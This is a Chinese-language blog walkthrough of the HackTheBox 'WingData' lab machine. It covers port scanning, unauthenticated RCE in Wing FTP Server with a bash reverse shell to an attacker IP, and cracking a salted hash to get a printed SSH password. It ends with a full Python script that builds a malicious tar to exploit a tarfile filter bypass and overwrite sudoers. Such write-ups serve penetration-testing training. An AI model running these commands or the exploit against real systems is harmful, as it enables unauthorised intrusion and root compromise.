HTB-WingData

前言

HTB Session 10 WingData

Easy

https://app.hackthebox.com/machines/WingData?sort_by=created_at&sort_type=desc

靶机IP

1
10.129.255.212

Nmap

1
nmap -p- --min-rate 10000 10.129.255.212
1
nmap -sT -sV -sC -O -p22,80 10.129.255.212
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: WingData Solutions
|_http-server-header: Apache/2.4.66 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), OpenWrt 21.02 (Linux 5.4) (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口,自动跳转http://wingdata.htb/,再页面上找到另一个子域名http://ftp.wingdata.htb/

将其加入hosts

1
10.129.255.212 wingdata.htb ftp.wingdata.htb

WingFTP RCE

子域名暴露cms版本 WingFTP Server 7.4.3

image-20260216174435896

1
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)                                                                                    | multiple/remote/52347.py        

存在rce

下载脚本并使用

1
python 52347.py -u http://ftp.wingdata.htb -c "bash -c 'bash -i >%26 /dev/tcp/10.10.16.50/4444 0>%261'"

image-20260216175831701

Hash破解

/opt/wftpserver/Data/1/users目录找到包含用户密码hash的xml文件

尝试破解,失败

继续搜索salt

1
grep -r -i "salt" /opt/wftpserver/Data

image-20260216180452632

找到salt为WingFTP

继续破解,得到一组凭据

1
wacky:!#7Blushing^*Bride5

登录ssh

1
ssh wacky@10.129.255.212

在家目录发现flag user.txt

image-20260216181901392

CVE-2025-4138-4517提权

sudo -l 查看权限

1
/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py

可以执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()

经过代码分析,发现tar.extractall(path=staging_dir, filter="data")可能存在漏洞

https://github.com/DesertDemons/CVE-2025-4138-4517-POC?tab=readme-ov-file#overview

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import tarfile
import os
import io
import sys

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("/tmp/backup_9999.tar", mode="w") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)

b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)

path = os.path.join(path, comp)

linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)

e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)

f = tarfile.TarInfo("sudoers_link")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)

content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("sudoers_link")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))

print("[+] Exploit created")

生成恶意 tar 文件

1
python3 /tmp/exploit.py

复制到备份目录

1
cp /tmp/backup_9999.tar /opt/backup_clients/backups/

运行 sudo 脚本触发漏洞

1
2
3
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_evil

sudo -l

1
ALL) NOPASSWD: ALL

切换bash

1
sudo su

image-20260216181726630

在root目录拿到flag

image-20260216181758180


HTB-WingData
http://xiaowu5.cn/2026/02/16/HTB-WingData/
作者
5
发布于
2026年2月16日
许可协议
BY XIAOWU